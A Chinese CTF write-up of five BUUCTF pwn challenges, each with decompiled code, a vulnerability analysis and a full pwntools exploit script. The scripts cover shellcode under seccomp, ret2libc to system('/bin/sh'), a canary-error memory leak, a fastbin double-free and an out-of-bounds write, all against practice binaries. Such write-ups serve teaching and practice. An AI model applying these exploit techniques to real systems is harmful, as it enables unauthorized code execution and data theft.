BUUCTF pwn wp 91 - 95
[极客大挑战 2019]Not Bad

__int64 sub_400949()
{__int64 v1; // [rsp+8h] [rbp-8h]v1 = seccomp_init(0LL);seccomp_rule_add(v1, 2147418112LL, 0LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 1LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);seccomp_rule_add(v1, 2147418112LL, 60LL, 0LL);return seccomp_load(v1);
}

int sub_400A16()
{char buf[32]; // [rsp+0h] [rbp-20h] BYREFputs("Easy shellcode, have fun!");read(0, buf, 0x38uLL);return puts("Baddd! Focu5 me! Baddd! Baddd!");
}
有限长度shellcode, 栈可执行有沙箱, 允许read, write, open操作
检查内存区域的权限


发现存在可写可执行的mmap申请区域且有jmp rsp, 这里buf长度有限的情况下用jmp rsp跳转到shellcode执行

from pwn import *
# from LibcSearcher import *url, port = "node4.buuoj.cn", 28170
filename = "./bad"
elf = ELF(filename)
# libc = ELF("./")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")local = 0
if local:context.log_level="debug"io = process(filename)# context.terminal = ['tmux', 'splitw', '-v']# gdb.attach(io)
else:io = remote(url, port)def B():gdb.attach(io)pause()def pwn():wx_stack = 0x123000jmp_rsp_addr = 0x0000000000400A01payload = asm(shellcraft.read(0, wx_stack, 0x200)) + asm('mov rax,0x123000;call rax;')payload = payload.ljust(0x28, b'\x00')payload += p64(jmp_rsp_addr) + asm('sub rsp,0x30;jmp rsp;')io.sendafter('have fun!', payload)payload = asm(shellcraft.open('./flag') + shellcraft.read(3, wx_stack + 0x200, 0x30))payload += asm(shellcraft.write(1, wx_stack + 0x200, 0x30))io.send(payload)if __name__ == "__main__":pwn()io.interactive()
cmcc_pwnme1
cmcc_pwnme1(master*)$ file pwnme1;checksec pwnme1
pwnme1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.15, BuildID[sha1]=d2a89c055176b3b4fc229df758c8cf02fe92cbd3, not stripped
[*] '/home/pwn/桌面/cmcc_pwnme1/pwnme1'Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX disabledPIE: No PIE (0x8048000)RWX: Has RWX segments
int getfruit()
{char v1[164]; // [esp+14h] [ebp-A4h] BYREFfflush(stdout);printf("Please input the name of fruit:");__isoc99_scanf("%s", v1);return printf("oh,%s...\n", v1);
}
还有个后门
int getflag()
{char s[120]; // [esp+14h] [ebp-84h] BYREFFILE *stream; // [esp+8Ch] [ebp-Ch]puts("Yeah, you got it...");stream = fopen("/home/flag", "r");if ( !stream )perror("/home/flag");fgets(s, 120, stream);puts(s);fclose(stream);return 1;
}
想怎么打怎么打
from pwn import *
from LibcSearcher import *url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")local = 0
if local:context.log_level="debug"io = process(filename)# context.terminal = ['tmux', 'splitw', '-v']# gdb.attach(io)
else:io = remote(url, port)def B():gdb.attach(io)pause()def pwn():io.sendlineafter('>> 6. Exit \n', '5')getflag_addr = elf.sym['getflag']payload = cyclic(0xA4 + 4) + p32(getflag_addr)io.sendafter('the name of fruit:', payload)if __name__ == "__main__":pwn()io.interactive()

BUU基操, flag不在/home下
直接ret2libc getshell
from pwn import *
# from LibcSearcher import *url, port = "node4.buuoj.cn", 25124
filename = "./pwnme1"
elf = ELF(filename)
libc = ELF("./libc_x86-2.23.so")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")local = 0
if local:context.log_level="debug"io = process(filename)# context.terminal = ['tmux', 'splitw', '-v']# gdb.attach(io)
else:context.log_level="debug"io = remote(url, port)def B():gdb.attach(io)pause()def pwn():puts_plt = elf.plt['puts']puts_got = elf.got['puts']main_addr = elf.sym['main']payload = cyclic(0xA4 + 4) + p32(puts_plt) + p32(main_addr) + p32(puts_got)io.sendlineafter('>> 6. Exit \n', '5')io.sendlineafter('Please input the name of fruit:', payload)puts_addr = u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))log.info('puts address: %#x', puts_addr)libc_base = puts_addr - libc.sym['puts']system_addr = libc_base + libc.sym['system']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))payload = cyclic(0xA4 + 4) + p32(system_addr) + p32(main_addr) + p32(binsh_addr)io.sendlineafter('>> 6. Exit \n', '5')io.sendlineafter('Please input the name of fruit:', payload)if __name__ == "__main__":pwn()io.interactive()
wdb2018_guess
wdb2018_guess(master*)$ file GUESS; checksec GUESS
GUESS: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=30601cc01c05a63af25ec5af8444b9fca2344dba, stripped
[*] '/home/pwn/桌面/wdb2018_guess/GUESS'Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{__WAIT_STATUS stat_loc; // [rsp+14h] [rbp-8Ch] BYREF__int64 v6; // [rsp+20h] [rbp-80h]__int64 v7; // [rsp+28h] [rbp-78h]char buf[48]; // [rsp+30h] [rbp-70h] BYREFchar s2[56]; // [rsp+60h] [rbp-40h] BYREFunsigned __int64 v10; // [rsp+98h] [rbp-8h]v10 = __readfsqword(0x28u);v7 = 3LL;LODWORD(stat_loc.__uptr) = 0;v6 = 0LL;sub_4009A6(a1, a2, a3);HIDWORD(stat_loc.__iptr) = open("./flag.txt", 0);if ( HIDWORD(stat_loc.__iptr) == -1 ){perror("./flag.txt");_exit(-1);}read(SHIDWORD(stat_loc.__iptr), buf, 0x30uLL);close(SHIDWORD(stat_loc.__iptr));puts("This is GUESS FLAG CHALLENGE!");while ( 1 ){if ( v6 >= v7 ){puts("you have no sense... bye :-) ");return 0LL;}if ( !(unsigned int)sub_400A11() )break;++v6;wait((__WAIT_STATUS)&stat_loc);}puts("Please type your guessing flag");gets(s2);if ( !strcmp(buf, s2) )puts("You must have great six sense!!!! :-o ");elseputs("You should take more effort to get six sence, and one more challenge!!");return 0LL;
}
canary报错利用, canary被覆盖之后会打印__libc_argv[0]指向的字符串
所以间接有个任意读的能力, 可以泄露puts@got, 泄露libc, 然后泄露environ得到栈地址, 最后泄露buf得到flag

找到指针到输入字符串之间的偏移量为0xe088 - 0xdf60 = 0x128, 这里要patchelf到2.23版本, 其他版本偏移量会有一定差异
调试确定environ到flag的偏移, 大版本一般不会有出入, 偏移量一定

偏移为0xe098 - 0xdf30 = 0x168
from pwn import *
from LibcSearcher import *url, port = "node4.buuoj.cn", 26857
filename = "./GUESS"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")local = 0
if local:context.log_level="debug"io = process(filename)# context.terminal = ['tmux', 'splitw', '-v']# gdb.attach(io)
else:io = remote(url, port)def B():gdb.attach(io)pause()def pwn():puts_got = elf.got['puts']payload = cyclic(0x128) + p64(puts_got)io.sendlineafter('Please type your guessing flag', payload)io.recvuntil('stack smashing detected ***: ')puts_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info('puts address: %#x', puts_addr)libc_base = puts_addr - libc.sym['puts']environ_addr = libc_base + libc.sym['__environ']log.info('environ_addr: %#x', environ_addr)payload = cyclic(0x128) + p64(environ_addr)io.sendlineafter('Please type your guessing flag', payload)io.recvuntil('stack smashing detected ***: ')stack_addr = u64(io.recv(6).ljust(8, b'\x00'))log.info('stack address: %#x', stack_addr)flag_addr = stack_addr - 0x168payload = cyclic(0x128) + p64(flag_addr)io.sendlineafter('Please type your guessing flag', payload)if __name__ == "__main__":pwn()io.interactive()
gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting(master*)$ file gyctf_2020_some_thing_exceting;checksec gyctf_2020_some_thing_exceting
gyctf_2020_some_thing_exceting: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=e091f2bc09a19fd73b0549031fc9b03983dd1756, stripped
[*] '/home/pwn/桌面/gyctf_2020_some_thing_exceting/gyctf_2020_some_thing_exceting'Arch: amd64-64-littleRELRO: Full RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x400000)
void __fastcall main(__int64 a1, char **a2, char **a3)
{int v3; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v4; // [rsp+8h] [rbp-8h]v4 = __readfsqword(0x28u);v3 = 0;sub_400896(a1, a2, a3);sub_400939();while ( 1 ){printf("> Now please tell me what you want to do :");_isoc99_scanf("%d", &v3);switch ( v3 ){case 1:Create();break;case 2:GG();case 3:Delete();break;case 4:Show();break;case 5:goodbye();default:puts("Emmmmmm!Maybe you want Fool me!");goodbye();}}
}
大概的功能就是create, delete, show
create
unsigned __int64 sub_4009EC()
{size_t nbytes; // [rsp+Ch] [rbp-24h] BYREFint i; // [rsp+14h] [rbp-1Ch]void *buf; // [rsp+18h] [rbp-18h]void *v4; // [rsp+20h] [rbp-10h]unsigned __int64 v5; // [rsp+28h] [rbp-8h]v5 = __readfsqword(0x28u);puts("#######################");puts("# Create Banana #");puts("#---------------------#");for ( i = 0; i <= 9 && *(&ptr + i); ++i ){if ( i == 9 ){puts("# so much banana! #");puts("#######################");return __readfsqword(0x28u) ^ v5;}}*(&ptr + i) = malloc(0x10uLL);printf("> ba's length : ");_isoc99_scanf("%d", &nbytes);if ( (int)nbytes <= 0 || (int)nbytes > 112 ){puts("Emmmmmm!Maybe you want Fool me!");goodbye();}buf = malloc((int)nbytes);printf("> ba : ");read(0, buf, (unsigned int)nbytes);printf("> na's length : ");_isoc99_scanf("%d", (char *)&nbytes + 4);if ( SHIDWORD(nbytes) <= 0 || SHIDWORD(nbytes) > 112 ){puts("Emmmmmm!Maybe you want Fool me!");goodbye();}printf("> na : ");v4 = malloc(SHIDWORD(nbytes));read(0, v4, HIDWORD(nbytes));*(_QWORD *)*(&ptr + i) = buf;*((_QWORD *)*(&ptr + i) + 1) = v4;puts("#---------------------#");puts("# ALL Down! #");puts("#######################");return __readfsqword(0x28u) ^ v5;
}
create生成的数据结构是
struct PTR {char* ba; // limited length 1 to 112char* na; // limited length 1 to 112
};
PTR* ptr; // 0x10 chunk pointer which points to 2 pointers ba and na
delete
unsigned __int64 sub_400C24()
{int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);puts("#######################");puts("# Delete Banana #");puts("#---------------------#");printf("> Banana ID : ");_isoc99_scanf("%d", &v1);if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) ){puts("Emmmmmm!Maybe you want Fool me!");goodbye();}free(*(void **)*(&ptr + v1));free(*((void **)*(&ptr + v1) + 1));free(*(&ptr + v1));puts("#---------------------#");puts("# ALL Down! #");puts("#######################");return __readfsqword(0x28u) ^ v2;
}
指针free后没有置零, 存在悬空指针, 导致UAF漏洞
show
unsigned __int64 sub_400D2E()
{int v1; // [rsp+4h] [rbp-Ch] BYREFunsigned __int64 v2; // [rsp+8h] [rbp-8h]v2 = __readfsqword(0x28u);puts("#######################");puts("# Delete Banana #");puts("#---------------------#");printf("> Banana ID : ");printf("> SCP project ID : ");_isoc99_scanf("%d", &v1);if ( v1 < 0 || v1 > 10 || !*(&ptr + v1) ){puts("Emmmmmm!Maybe you want Fool me!");goodbye();}printf("# Banana's ba is %s\n", *(const char **)*(&ptr + v1));printf("# Banana's na is %s\n", *((const char **)*(&ptr + v1) + 1));puts("#---------------------#");puts("# ALL Down! #");puts("#######################");return __readfsqword(0x28u) ^ v2;
}
flag在程序里是直接读取到bss段的s字符串处, 看到这里存在大小为96的fake chunk


所以采取fastbin attack, 在0x6020A0处申请出fake chunk(准确来说是0x602098处, 因为chunk header包括pre size和size, 所以需要前移0x8的地址), show就能打印flag
from pwn import *
# from LibcSearcher import *url, port = "node4.buuoj.cn", 28722
filename = "./gyctf_2020_some_thing_exceting"
elf = ELF(filename)
libc = ELF("./libc_x64-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")local = 0
if local:context.log_level="debug"io = process(filename)# context.terminal = ['tmux', 'splitw', '-v']# gdb.attach(io)
else:io = remote(url, port)def B():gdb.attach(io)pause()def Add(size1, content1, size2, content2):io.sendlineafter('> Now please tell me what you want to do :', '1')io.sendlineafter('length : ', str(size1))io.sendlineafter('> ba : ', content1)io.sendlineafter('length : ', str(size2))io.sendlineafter('> na : ', content2)def Delete(index):io.sendlineafter('to do :', '3')io.sendlineafter('Banana ID : ', str(index))def Show(index):io.sendlineafter('to do :', '4')io.sendlineafter('project ID : ', str(index))def pwn():fake_chunk_addr = 0x602098Add(0x50, 'chunk0', 0x50, 'chunk1') # 0 Add(0x50, 'chunk2', 0x50, 'chunk3') # 1Delete(0)Delete(1)Delete(0)Add(0x50, p64(fake_chunk_addr), 0x50, 'chunk1_new') # 2Add(0x50, 'chunk2_new', 0x50, 'chunk3_new') # 3Add(0x50, 'flag', 0x30, 'anything whatever') # 4Show(4)if __name__ == "__main__":pwn()io.interactive()
wustctf2020_name_your_cat
wustctf2020_name_your_cat(master*)$ file wustctf2020_name_your_cat;checksec wustctf2020_name_your_cat
wustctf2020_name_your_cat: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=094efce6cb328adfe1f2f1dbfa7d38182182e064, not stripped
[*] '/home/pwn/桌面/wustctf2020_name_your_cat/wustctf2020_name_your_cat'Arch: i386-32-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: No PIE (0x8048000)
unsigned int vulnerable()
{int i; // [esp+Ch] [ebp-3Ch]int v2; // [esp+10h] [ebp-38h]char v3[40]; // [esp+14h] [ebp-34h] BYREFunsigned int v4; // [esp+3Ch] [ebp-Ch]v4 = __readgsdword(0x14u);puts("I bought you five famale cats.Name for them?");for ( i = 1; i <= 5; ++i ){v2 = NameWhich(v3);printf("You get %d cat!!!!!!\nlemonlemonlemonlemonlemonlemonlemon5555555\n", i);printf("Her name is:%s\n\n", &v3[8 * v2]);}return __readgsdword(0x14u) ^ v4;
}
int __cdecl NameWhich(int a1)
{int v2[4]; // [esp+18h] [ebp-10h] BYREFv2[1] = __readgsdword(0x14u);printf("Name for which?\n>");__isoc99_scanf("%d", v2);printf("Give your name plz: ");__isoc99_scanf("%7s", 8 * v2[0] + a1);return v2[0];
}
这个函数负责输入name, 但是处理数目时没有检查是否小于5, 所以导致任意地址写6个字节, 可以把ret address劫持到后门函数shell即可get shell


偏移为0x38, 除以8得到7
from pwn import *
# from LibcSearcher import *url, port = "node4.buuoj.cn", 25493
filename = "./wustctf2020_name_your_cat"
elf = ELF(filename)
# libc = ELF("./")
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")local = 0
if local:context.log_level="debug"io = process(filename)# context.terminal = ['tmux', 'splitw', '-v']# gdb.attach(io)
else:io = remote(url, port)def B():gdb.attach(io)pause()def pwn():shell_addr = 0x080485CBfor i in range(1, 5):io.sendlineafter('Name for which?\n>', str(i))io.sendlineafter("Give your name plz: ", str(i))io.sendlineafter('Name for which?\n>', '7')io.sendlineafter("Give your name plz: ", p32(shell_addr))if __name__ == "__main__":pwn()io.interactive()
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
